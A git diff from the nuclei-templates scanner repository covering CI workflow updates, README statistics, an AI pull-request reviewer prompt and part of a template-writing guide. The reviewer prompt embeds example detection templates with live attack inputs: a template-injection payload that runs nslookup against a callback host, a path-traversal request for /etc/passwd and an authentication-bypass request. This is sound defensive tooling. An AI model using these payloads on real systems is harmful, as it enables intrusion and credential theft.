+      - name: Setup Python
+        uses: actions/setup-python@v5
+        with:
+          python-version: '3.11'
+
+      - name: Install dependencies
+        run: |
+          pip install requests pyyaml
+
+      - name: Update KEV tags
+        run: python .github/scripts/update-kev.py
+        env:
+          # Optional: Add VulnCheck API key if available
+          VULNCHECK_API_KEY: ${{ secrets.VULNCHECK_API_KEY }}
+
+      - name: Check for changes
+        id: changes
+        run: |
+          if git diff --quiet; then
+            echo "changes=false" >> $GITHUB_OUTPUT
+          else
+            echo "changes=true" >> $GITHUB_OUTPUT
+          fi
+
+      - name: Setup Git
+        if: steps.changes.outputs.changes == 'true'
+        uses: projectdiscovery/actions/setup/git@v1
+
+      - name: Commit changes
+        if: steps.changes.outputs.changes == 'true'
+        uses: projectdiscovery/actions/commit@v1
+        with:
+          files: '**/cves/**/*.yaml'
+          message: 'chore: update KEV tags and metadata 🤖'
+
+      - name: Push changes
+        if: steps.changes.outputs.changes == 'true'
+        run: |
+          git pull origin $GITHUB_REF --rebase
+          git push origin $GITHUB_REF
@@ -18,7 +18,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
        with:
          fetch-depth: 0
      - name: Generate new addition list
@@ -33,8 +33,3 @@ jobs:
      - run: |
          git pull origin $GITHUB_REF --rebase
          git push origin $GITHUB_REF
-
-  sync:
-    needs: new-addition
-    uses: ./.github/workflows/templates-sync.yml
-    secrets: inherit
@@ -13,7 +13,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - run: sudo apt-get install tree -y
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
      - uses: actions/setup-python@v5
        with:
          python-version: "3.8"
@@ -21,6 +21,6 @@ jobs:
      - uses: projectdiscovery/actions/setup/git@v1
      - uses: projectdiscovery/actions/commit@v1
        with:
-          files: 'README.md'
+          files: 'README.md README_*.md'
          message: 'docs: update README 🤖'
      - run: git push origin $GITHUB_REF
@@ -16,7 +16,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
      - uses: projectdiscovery/actions/generate/checksum@v1
        with:
          templates-directory: '${{ github.workspace }}'
@@ -1,21 +0,0 @@
-name: 📑 Template-DB Indexer
-
-on:
-  push:
-    tags:
-      - '*'
-  workflow_dispatch:
-
-jobs:
-  index:
-    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates'
-    steps:
-      - uses: projectdiscovery/actions/generate/db-indexer@v1
-        with:
-          token: '${{ secrets.ACCESS_TOKEN }}'
-          mode: 'templates'
-          args: '-eft'
-        env:
-          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
-          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
@@ -14,7 +14,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
      - uses: projectdiscovery/actions/setup/nuclei@v1
        with:
          token: '${{ secrets.GITHUB_TOKEN}}'
@@ -38,7 +38,7 @@ jobs:
    runs-on: windows-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
      
      - name: Set up Go
        uses: actions/setup-go@v5
@@ -8,10 +8,10 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
      - uses: projectdiscovery/actions/setup/templateman@v1
        with:
-          token: '${{ secrets.ACCESS_TOKEN }}'
+          token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
      - run: tmc -mr -e -at <<< "$(pwd)"
      - uses: projectdiscovery/actions/setup/git@v1
      - uses: projectdiscovery/actions/commit@v1
@@ -11,7 +11,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
        with: 
          fetch-depth: 0
      - uses: projectdiscovery/actions/templates/stats@v1
@@ -1,64 +0,0 @@
-name: Sync Repositories Workflow
-on:
-  push:
-    paths:
-    - '.new-additions'
-    - '.github/scripts/yaml2json/go.mod'
-    - '.github/scripts/yaml2json/go.sum'
-    - '.github/workflows/tests.yml'
-    - 'CVE-2024-7339.yaml'
-    - 'http/cves/2022/CVE-2022-27043.yaml'
-    - 'http/cves/2023/CVE-2023-43323.yaml'
-    - 'http/cves/2023/CVE-2023-44393.yaml'
-    - 'http/cves/2023/CVE-2023-5222.yaml'
-    - 'http/cves/2024/CVE-2024-24763.yaml'
-    - 'http/cves/2024/CVE-2024-34061.yaml'
-    - 'http/cves/2024/CVE-2024-36104.yaml'
-    - 'http/cves/2024/CVE-2024-38856.yaml'
-    - 'http/cves/2024/CVE-2024-39903.yaml'
-    - 'http/cves/2024/CVE-2024-39907.yaml'
-    - 'http/cves/2024/CVE-2024-40422.yaml'
-    - 'http/cves/2024/CVE-2024-41107.yaml'
-    - 'http/cves/2024/CVE-2024-41628.yaml'
-    - 'http/cves/2024/CVE-2024-5975.yaml'
-    - 'http/cves/2024/CVE-2024-6205.yaml'
-    - 'http/cves/2024/CVE-2024-6366.yaml'
-    - 'http/cves/2024/CVE-2024-6396.yaml'
-    - 'http/cves/2024/CVE-2024-6781.yaml'
-    - 'http/cves/2024/CVE-2024-6782.yaml'
-    - 'http/cves/2024/CVE-2024-6922.yaml'
-    - 'http/cves/2024/CVE-2024-7008.yaml'
-    - 'http/cves/2024/CVE-2024-7120.yaml'
-    - 'http/cves/2024/CVE-2024-7188.yaml'
-    - 'http/cves/2024/CVE-2024-7332.yaml'
-    - 'http/cves/2024/CVE-2024-7340.yaml'
-    - 'http/default-logins/apache/cloudstack-default-login.yaml'
-    - 'http/exposed-panels/airos-panel.yaml'
-    - 'http/exposed-panels/metube-panel.yaml'
-    - 'http/exposed-panels/openedge-panel.yaml'
-    - 'http/exposed-panels/whatsup-gold-panel.yaml'
-    - 'http/exposures/files/gitlab-ci-yml.yaml'
-    - 'http/misconfiguration/changedetection-unauth.yaml'
-    - 'http/misconfiguration/deployment-interface-exposed.yaml'
-    - 'http/misconfiguration/installer/quickcms-installer.yaml'
-    - 'http/misconfiguration/manage-cabinet-register.yaml'
-    - 'http/osint/user-enumeration/substack.yaml'
-    - 'http/technologies/apache/apache-ofbiz-detect.yaml'
-    - 'http/technologies/apache/apache-shenyu-detect.yaml'
-    - 'http/technologies/searxng-detect.yaml'
-    - 'http/vulnerabilities/esafenet/esafenet-netsecconfigajax-sqli.yaml'
-    - 'http/vulnerabilities/esafenet/esafenet-noticeajax-sqli.yaml'
-    - 'http/vulnerabilities/landray/landray-oa-replaceextend-rce.yaml'
-    - 'javascript/misconfiguration/x11/x11-unauth-access.yaml'
-    - 'javascript/udp/detection/db2-discover.yaml'
-  workflow_dispatch:
-  workflow_call:
-
-jobs:
-  sync:
-    if: github.repository == 'projectdiscovery/nuclei-templates'
-    runs-on: ubuntu-latest
-    steps:
-    - uses: projectdiscovery/actions/templates/sync@v1
-      with:
-        token: ${{ secrets.GTOKEN }}
@@ -11,7 +11,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
      - uses: karancode/[email protected]
        with:
          yamllint_config_filepath: .yamllint
@@ -23,12 +23,12 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
      - uses: projectdiscovery/actions/setup/nuclei@v1
        with:
          token: '${{ secrets.GITHUB_TOKEN }}'
      - name: Validate templates
-        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/
+        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/

  weak-matcher-checks:
    needs: lint
@@ -40,7 +40,7 @@ jobs:
    env:
      HONEYPOT_URL: 'http://honey.scanme.sh'
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
      - uses: dorny/paths-filter@v3
        id: filter
        with:
@@ -80,4 +80,4 @@ jobs:
            })
        env:
          COMMENT: '${{ steps.check.outputs.comment }}'
-          GITHUB_TOKEN: '${{ secrets.ACCESS_TOKEN }}'
+          GITHUB_TOKEN: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
@@ -10,7 +10,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Check out repository code
-        uses: actions/checkout@v4
+        uses: actions/checkout@v5

      - name: Install Python3
        uses: actions/setup-python@v5
@@ -3,4 +3,6 @@
 local/
 .checksum
 .new-additions
-*.txt
+*.txt
+/.claude
+CLAUDE.md
@@ -1,12 +1,23 @@
-http/cves/2024/CVE-2024-21136.yaml
-http/cves/2024/CVE-2024-21641.yaml
-http/cves/2024/CVE-2024-51739.yaml
-http/default-logins/nocobase/nocobase-default-login.yaml
-http/default-logins/yacht/yacht-default-login.yaml
-http/exposed-panels/netscaler-console-panel.yaml
-http/exposed-panels/yacht-panel.yaml
-http/iot/emerson-intellislot-webcard.yaml
-http/technologies/luxtrust-cosi-detect.yaml
-http/technologies/wordpress/plugins/gosmtp.yaml
-http/technologies/wordpress/plugins/pagelayer.yaml
-http/technologies/wordpress/plugins/unlimited-elements-for-elementor.yaml
+headless/cves/2025/CVE-2025-50738.yaml
+http/cves/2024/CVE-2024-11972.yaml
+http/cves/2024/CVE-2024-29028.yaml
+http/cves/2024/CVE-2024-29029.yaml
+http/cves/2024/CVE-2024-51568.yaml
+http/cves/2025/CVE-2025-23061.yaml
+http/cves/2025/CVE-2025-3515.yaml
+http/cves/2025/CVE-2025-53118.yaml
+http/cves/2025/CVE-2025-57822.yaml
+http/exposures/configs/n8n-config.yaml
+http/global-matchers/global-waf-detect.yaml
+http/misconfiguration/missing-cookie-samesite-strict.yaml
+http/takeovers/framer-takeover.yaml
+http/technologies/dkron-detect.yaml
+http/technologies/hugegraph-studio-detect.yaml
+http/vulnerabilities/other/dkron-unauth-rce.yaml
+javascript/detection/pigeonhole-sieve-detect.yaml
+javascript/misconfiguration/netstat-service-expose.yaml
+javascript/udp/detection/zeroconf-detect.yaml
+network/detection/ftp-detect.yaml
+network/detection/sap-dispatcher-detect.yaml
+network/detection/sap-router-detect.yaml
+workflows/ftp-workflow.yaml
@@ -17,6 +17,7 @@ tags:
  - "local"
  - "fuzz"
  - "bruteforce"
+  - "txt-service"

 # The following templates have been excluded because they have weak matchers and may generate FP results.
 # Please feel free to create PR if you can update the templates with strict matchers.
@@ -31,7 +32,6 @@ files:
  - http/fuzzing/mdb-database-file.yaml
  - http/fuzzing/iis-shortname.yaml
  - dns/soa-detect.yaml
-  - dns/txt-service-detect.yaml
  - javascript/enumeration/pop3/pop3-capabilities-enum.yaml
  - javascript/enumeration/redis/redis-require-auth.yaml
  - dast/vulnerabilities/sqli/time-based-sqli.yaml
@@ -0,0 +1,465 @@
+Nuclei-Templates is an open-source project featuring security checks written in YAML format, used by the Nuclei scanner.
+
+You are a reviewer for the GitHub repository: https://github.com/projectdiscovery/nuclei-templates. You will review a Pull Request (PR) diff, which may include new or updated templates, provided at the end of this prompt.
+
+Your objective is to thoroughly analyze the PR diff step-by-step and suggest improvements based solely on the context below. Begin your response by thanking the contributor and including: “You can join our [Discord server](https://discord.com/invite/projectdiscovery). It's a great place to connect with fellow contributors and stay updated with the latest developments. Thank you once again.”
+
+### Nuclei Templates Contribution Guide
+
+When submitting a new template, include these details with a proof of concept (P.O.C):
+
+1. `id`: A concise identifier (3-4 words, e.g., `grafana-unauth-rce`). For CVE templates, use the format `CVE-XXX-XXX`.
+2. Filename: Must match the template `id`.
+3. `name`: For vulnerability/CVE templates, use the format: `<Vendor> <Product> <Version> - Vulnerability`.
+4. `author`: Your GitHub/Twitter username or alias. Optionally, update [contributors.json](https://github.com/projectdiscovery/nuclei-templates/blob/master/contributors.json) with author details.
+5. `severity`: Based on CVSS score, adjusted for exploit impact and real-world implications.
+6. `description`: A brief summary of the vulnerability.
+7. `reference`: Include links to the POC, setup guide, or product details for verification.
+
+Best Practices:
+
+- Specify matcher location (e.g., `part: body` for response body).
+- Use `{{cmd}}` or `{{payloads}}` for RCE/injection templates, `{{username}}`/`{{password}}` for authenticated templates, and `{{token}}` for key/token templates.
+- For web shell uploads (last resort), use a random filename (`{{randstr}}`) and add the `intrusive` tag.
+- Add appropriate tags: `dos` for DoS templates, `auth` for authenticated templates, `cve` and `cve<year>` for CVE templates, `intrusive` for templates modifying configurations or files.
+- For XSS templates, include a unique endpoint string with the payload to avoid false positives (e.g., [CVE-2022-24899](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24899.yaml)).
+- For SSRF templates, include response-based matchers to reduce false positives from honeypots (see: https://github.com/projectdiscovery/nuclei-templates/issues/7401).
+- For time-based SQL injection templates, include a unique endpoint string with duration DSL to avoid false positives from network issues.
+
+Do’s:
+
+- Mark verified templates as `verified: true` and share debug data (redact sensitive server info).
+- Include multiple matchers to minimize false positives.
+- Provide a vulnerable environment (e.g., via [Vulhub](https://github.com/vulhub/vulhub)) when possible.
+- Include an active P.O.C in the template.
+
+Don’t:
+
+- Avoid weak matchers (e.g., strings from GET/POST data) to prevent false positives.
+- Do not make unnecessary changes to existing templates.
+- Avoid version-based CVE/exploit detection unless a full/partial POC is included. Exceptions (e.g., trending CVEs) require justification.
+
+### Templates Review Guide
+
+#### Functional Validation
+
+- Verify the reference to ensure the POC aligns with the template’s purpose (e.g., an RCE template must demonstrate RCE, not just version detection).
+- For XSS templates, confirm a unique endpoint string is included to avoid false positives.
+- Ensure sufficient, unique matchers to validate the issue without being overly strict.
+- For web templates, include at least two matchers (e.g., response header, status code).
+- For SSRF templates, add response-based matchers to counter honeypot triggers.
+- For time-based SQL injection templates, include a unique endpoint string with duration DSL.
+
+#### Non-Functional Validation
+
+After functional validation, check:
+
+- Template is in the correct folder, and filename matches `id`.
+- `id` is unique, descriptive, and uses 2-3 keywords (e.g., `alumni-management-sqli.yaml`). For CVE templates, the ID should be the CVE itself for example, CVE-2020-0796
+- `name` follows the format: `<Company> <Product> <Version> - <Vulnerability Class>` (e.g., `Adobe Coldfusion <=8.0.1 - Cross-Site Scripting`).
+- Fix capitalization, typos, or grammatical errors.
+- Update `tags`:
+  - Add vendor names (e.g., `Atlassian` for Jira/Confluence).
+  - Use `misconfig` for misconfigurations, `oss` for open-source CMS, `oast` for OAST templates, `intrusive` for file uploads or modifications.
+  - For CVEs, include `cve` and `cveYYYY` (e.g., `cve2022`).
+  - Tags should not contain spaces
+- Use `metadata` for additional info (e.g., `verified: true`, Shodan/FOFA queries).
+- Ensure proper `references` (e.g., WordPress plugin links, vendor pages).
+- Maintain consistent template structure and remove unnecessary headers/parameters.
+- Avoid using GET/POST data as matchers.
+- Fix indentation and trailing spaces using `yamllint` or the `validate` argument.
+- Assign a teammate for review before merging.
+
+#### Best Practices
+
+- For tech detection templates, consider adding templates for the tech’s panel or default credentials.
+- Ensure tag names start with the folder/vulnerability name.
+- Create a dedicated folder for technologies with multiple templates.
+- Add a `good first issue` label for first-time contributors’ PRs.
+- Use the `epic` label for creative templates.
+- Do not share vulnerable URLs publicly on GitHub or Discord.
+
+#### Below are examples of existing YAML templates for each protocol, along with their paths. You can use them as references when reviewing templates for the corresponding protocols.
+
+=== dast/vulnerabilities/ssti/oob/erb-erubi-erubis-oob.yaml ===
+```
+id: erb-erubi-erubis-oob
+
+info:
+  name: Erb OR Erubi OR Erubis - Out of Band Template Injection
+  author: 0xAwali,DhiyaneshDK
+  severity: high
+  reference:
+    - https://rubygems.org/gems/erb
+    - https://rubygems.org/gems/erubis
+    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
+  metadata:
+    verified: true
+  tags: ssti,dast,oast,oob
+
+http:
+  - pre-condition:
+      - type: dsl
+        dsl:
+          - 'method == "GET"'
+
+    payloads:
+      injection:
+        - '<%25%3d(`nslookup+-type=SRV+{{interactsh-url}}`)%25>'
+
+    fuzzing:
+      - part: query
+        type: postfix
+        mode: single
+        fuzz:
+          - "{{injection}}"
+
+    matchers:
+      - type: dsl
+        name: request-matcher
+        dsl:
+          - "contains(interactsh_protocol,'dns')"
+          - "contains(interactsh_request,'srv')"
+        condition: and
+```
+
+=== http/vulnerabilities/nps/nps-auth-bypass.yaml ===
+```
+id: nps-auth-bypass
+
+info:
+  name: NPS - Authentication Bypass
+  author: SleepingBag945
+  severity: high
+  description: |
+    This will reveal all parameters configured on the NPS, including the account username and password of the proxy.
+  reference:
+    - https://mari0er.club/post/nps.html/
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: html:"window.nps"
+  tags: nps,auth-bypass
+
+http:
+  - raw:
+      - |
+        POST /index/gettunnel HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        auth_key={{md5(unix_time())}}&timestamp={{unix_time()}}&offset=0&limit=10&type=socks5&client_id=&search=
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"VerifyKey":'
+          - 'Password":'
+          - 'Id":'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "application/json"
+
+      - type: status
+        status:
+          - 200
+```
+
+=== http/cves/2021/CVE-2021-41291.yaml ===
+```
+id: CVE-2021-41291
+
+info:
+  name: ECOA Building Automation System - Directory Traversal Content Disclosure
+  author: gy741
+  severity: high
+  description: The ECOA BAS controller suffers from a directory traversal content disclosure vulnerability. Using the GET parameter cpath in File Manager (fmangersub), attackers can disclose directory content on the affected device
+  impact: |
+    An attacker can exploit this vulnerability to access sensitive files and directories, potentially exposing sensitive information.
+  remediation: |
+    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in the ECOA Building Automation System.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-41291
+    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5670.php
+    - https://www.twcert.org.tw/en/cp-139-5140-6343c-2.html
+    - https://www.twcert.org.tw/tw/cp-132-5127-3cbd3-1.html
+    - https://github.com/ARPSyndicate/cvemon
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2021-41291
+    cwe-id: CWE-22
+    epss-score: 0.02626
+    epss-percentile: 0.90324
+    cpe: cpe:2.3:o:ecoa:ecs_router_controller-ecs_firmware:-:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    vendor: ecoa
+    product: ecs_router_controller-ecs_firmware
+  tags: cve,cve2021,ecoa,lfi,traversal
+
+http:
+  - raw:
+      - |
+        GET /fmangersub?cpath=../../../../../../../etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: regex
+        regex:
+          - "root:.*:0:0:"
+```
+
+=== code/windows/audit/minimum-password-age-zero.yaml ===
+```
+id: minimum-password-age-zero
+
+info:
+  name: Minimum Password Age Set to Zero
+  author: princechaddha
+  severity: medium
+  description: Checks if the minimum password age is set to zero, allowing immediate password changes and potential reuse.
+  impact: |
+    Allowing a password age of zero may lead to the rapid reuse of weak passwords, reducing account security.
+  remediation: |
+    Set a reasonable minimum password age to prevent users from reusing old passwords frequently.
+  tags: windows,password,policy,code,windows-audit
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - cmd
+    args:
+      - /c
+    pattern: "*.cmd"
+    source: |
+      net accounts
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Minimum password age (days):                          0"
+        negative: true
+
+      - type: word
+        words:
+          - "Minimum password age"
+```
+
+=== cloud/azure/postgresql/azure-postgresql-storage-autogrow-disabled.yaml ===
+```
+id: azure-postgresql-storage-autogrow-disabled
+info:
+  name: Azure PostgreSQL Storage Auto-Growth Disabled
+  author: princechaddha
+  severity: high
+  description: |
+    Ensure that Storage Auto-Growth feature is enabled for your production Azure PostgreSQL database servers. Storage auto-growth prevents your PostgreSQL servers from running out of storage and becoming read-only.
+  impact: |
+    Failing to enable Storage Auto-Growth can lead to PostgreSQL servers running out of space, becoming read-only, and disrupting database services.
+  remediation: |
+    Enable the Storage Auto-Growth feature on your Azure PostgreSQL servers to prevent potential disruptions and ensure continuous database operation.
+  reference:
+    - https://docs.microsoft.com/en-us/azure/postgresql/concepts-storage
+  tags: cloud,devops,azure,microsoft,postgresql,azure-cloud-config
+
+flow: |
+  code(1);
+  for (let ServerData of iterate(template.serverList)) {
+    ServerData = JSON.parse(ServerData);
+    set("name", ServerData.Name);
+    set("resourceGroup", ServerData.ResourceGroup);
+    code(2);
+  }
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      az postgres server list --output json --query '[*].{"Name":name,"ResourceGroup":resourceGroup}'
+
+    extractors:
+      - type: json
+        name: serverList
+        internal: true
+        json:
+          - '.[]'
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      az postgres server show --name "$name" --resource-group "$resourceGroup" --output json --query 'storageProfile.storageAutogrow'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '"Disabled"'
+
+    extractors:
+      - type: dsl
+        dsl:
+          - 'name + " in " + resourceGroup + " has Storage Auto-Growth disabled"'
+```
+
+=== ssl/c2/gozi-malware-c2.yaml ===
+```
+id: gozi-malware-c2
+
+info:
+  name: Gozi Malware C2 - Detect
+  author: pussycat0x
+  severity: info
+  description: |
+    Gozi is a banking Trojan that has been modified to include new obfuscation techniques, to evade detection. Previous breaches involving Gozi in the healthcare sector led to the compromise of data associated with 3.7 million patients costing $5.55 million.
+  reference: |
+    https://github.com/thehappydinoa/awesome-censys-queries#gozi-malware--
+  metadata:
+    verified: "true"
+    max-request: 1
+    censys-query: 'services.tls.certificates.leaf_data.issuer_dn: "C=XX, ST=1, L=1, O=1, OU=1, CN=\*"'
+  tags: ssl,tls,c2,ir,osint,malware,gozi
+ssl:
+  - address: "{{Host}}:{{Port}}"
+    matchers:
+      - type: word
+        part: issuer_dn
+        words:
+          - "CN=*, OU=1, O=1, L=1, ST=1, C=XX"
+
+    extractors:
+      - type: json
+        json:
+          - ".issuer_dn"
+```
+
+=== dns/mx-fingerprint.yaml ===
+```
+id: mx-fingerprint
+
+info:
+  name: MX Record Detection
+  author: pdteam
+  severity: info
+  description: An MX record was detected. MX records direct emails to a mail exchange server.
+  reference:
+    - https://www.cloudflare.com/learning/dns/dns-records/dns-mx-record/
+    - https://mxtoolbox.com/
+  classification:
+    cwe-id: CWE-200
+  metadata:
+    max-request: 1
+  tags: dns,mx
+
+dns:
+  - name: "{{FQDN}}"
+    type: MX
+    matchers:
+      - type: regex
+        part: answer
+        regex:
+          - "IN\tMX\\t(.+)$"
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
+          - "IN\tMX\t(.+)"
+```
+
+=== file/malware/shimrat-malware.yaml ===
+```
+id: shimrat-malware
+
+info:
+  name: ShimRat Malware - Detect
+  author: daffainfo
+  severity: info
+  reference: https://github.com/Yara-Rules/rules/blob/master/malware/RAT_Shim.yar
+  tags: malware,file
+file:
+  - extensions:
+      - all
+
+    matchers-condition: or
+    matchers:
+      - type: word
+        part: raw
+        words:
+          - ".dll"
+          - ".dat"
+          - "QWERTYUIOPLKJHG"
+          - "MNBVCXZLKJHGFDS"
+        condition: and
+
+      - type: word
+        part: raw
+        words:
+          - "Data$$00"
+          - "Data$$01%c%sData"
+        condition: and
+
+      - type: word
+        part: raw
+        words:
+          - "ping localhost -n 9 /c %s > nul"
+          - "Demo"
+          - "Win32App"
+          - "COMSPEC"
+          - "ShimMain"
+          - "NotifyShims"
+          - "GetHookAPIs"
+        condition: and
+```
+
+=== network/c2/7777botnet.yaml ===
+```
+id: 7777botnet-detect
+
+info:
+  name: 7777-Botnet - Detect
+  author: johnk3r
+  severity: info
+  reference:
+    - https://gi7w0rm.medium.com/the-curious-case-of-the-7777-botnet-86e3464c3ffd
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: 'hash:1357418825'
+  tags: network,c2,ir,osint,cti,darktrack,botnet,tcp
+
+tcp:
+  - inputs:
+      - data: "fffc01fffb1ffffa1f00500018fff0fffd01fffd03"
+        read: 2048
+
+    host:
+      - "{{Hostname}}"
+    port: 7777
+
+    matchers:
+      - type: word
+        part: data
+        words:
+          - "xlog"
+          - "in"
+        condition: and
+```
+
+### Instructions for Comments
+
+Think step by step and structure your comments in two sections using GitHub Markdown:
+- Required Fixes – List missing or incorrect elements as a checklist (e.g., - [ ] Fix template ID to match filename).
+- Other Suggestions – Provide contextual recommendations, but only include suggestions you are 100% confident about.
@@ -41,7 +41,7 @@ Along with the P.O.C following are the required fields in the info section for s

 **Don’t**

- Don’t not share any real world target on the PR. If you have setup an vulnerable environment please share it privately on Discord with the team to easily validate the template.
+- Don’t share any real world target on the PR. If you have setup an vulnerable environment please share it privately on Discord with the team to easily validate the template.
 - Avoid submitting templates with weak matchers. For example: Adding GET/POST data as the matchers in the template, as it can result in false positive results on few hosts
 - Don’t make unnecessary changes to the existing templates like adding more requests to the templates when the existing requests or paths are good enough to verify that the bug exists
 - Try to keep the requests per template as low as possible
@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,

 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3066 | dhiyaneshdk   |  1823 | http       |  8574 | info     |  4062 | file |   434 |
-| panel     |  1289 | daffainfo     |   868 | cloud      |   646 | high     |  2348 | dns  |    25 |
-| xss       |  1229 | dwisiswant0   |   805 | file       |   434 | medium   |  2307 |      |       |
-| wordpress |  1129 | princechaddha |   797 | dast       |   255 | critical |  1289 |      |       |
-| exposure  |  1082 | ritikchaddha  |   583 | workflows  |   202 | low      |   313 |      |       |
-| wp-plugin |   988 | pussycat0x    |   500 | code       |   168 | unknown  |    52 |      |       |
-| osint     |   808 | pikpikcu      |   352 | network    |   140 |          |       |      |       |
-| tech      |   772 | pdteam        |   304 | javascript |    71 |          |       |      |       |
-| lfi       |   758 | ricardomaia   |   249 | ssl        |    38 |          |       |      |       |
-| misconfig |   735 | geeknik       |   235 | dns        |    22 |          |       |      |       |
+| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
+| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
+| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
+| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
+| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
+| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
+| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
+| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |

-**823 directories, 10898 files**.
+**848 directories, 11344 files**.

 </td>
 </tr>
@@ -0,0 +1,524 @@
+# Nuclei Template Creation Guide
+**Complete Guide for Writing High-Quality Security Templates**
+
+---
+
+## Getting Started
+
+### **What is a Nuclei Template?**
+Nuclei templates are the cornerstone of the Nuclei scanning engine, designed to enable precise and rapid scanning across various protocols like TCP, DNS, HTTP, and more. Templates are YAML-based definitions that describe how to detect security vulnerabilities, misconfigurations, and exposures while ensuring low-to-zero false positives.
+
+> **📖 Official Documentation**: For comprehensive technical details, visit [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
+
+### **Template Structure Overview**
+```yaml
+id: template-identifier
+info:
+  name: Human Readable Vulnerability Name
+  author: your-github-username,vulnerability-discoverer-handle
+  severity: critical|high|medium|low|info
+  description: Clear explanation of what this template detects
+  reference:
+    - https://link-to-vulnerability-details
+  classification:
+    cve-id: CVE-2024-1234
+    cwe-id: CWE-89
+  tags: cve,sqli,rce
+  metadata:
+    verified: true
+    shodan-query: 'http.title:"VulnApp"'
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/vulnerable-endpoint"
+    
+    matchers:
+      - type: word
+        words:
+          - "vulnerability_indicator"
+        part: body
+```
+
+---
+
+## Step-by-Step Template Creation
+
+### **Step 1: Research and Understand the Vulnerability**
+Before writing any code:
+- [ ] Read the original vulnerability disclosure/advisory
+- [ ] Understand the root cause and exploitation method
+- [ ] Identify unique indicators that prove vulnerability exists
+- [ ] Test the vulnerability in a controlled environment
+- [ ] Document the vulnerable versions and affected components
+
+### **Step 2: Choose Your Template ID and Info**
+```yaml
+# Use descriptive, short identifiers
+id: apache-struts-ognl-injection  # GOOD - clear and specific
+id: vuln-app-rce                  # BAD - too generic
+
+info:
+  name: Apache Struts OGNL Code Injection  # Format: "Vendor Product - Vulnerability Type"
+  author: your-github-username,original-researcher-handle  # Always credit the discoverer
+  severity: critical  # Based on CVSS score and real-world impact
+```
+
+### **Step 3: Write Accurate Description and References**
+```yaml
+info:
+  description: |
+    Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from 
+    OGNL injection vulnerability that allows remote code execution.
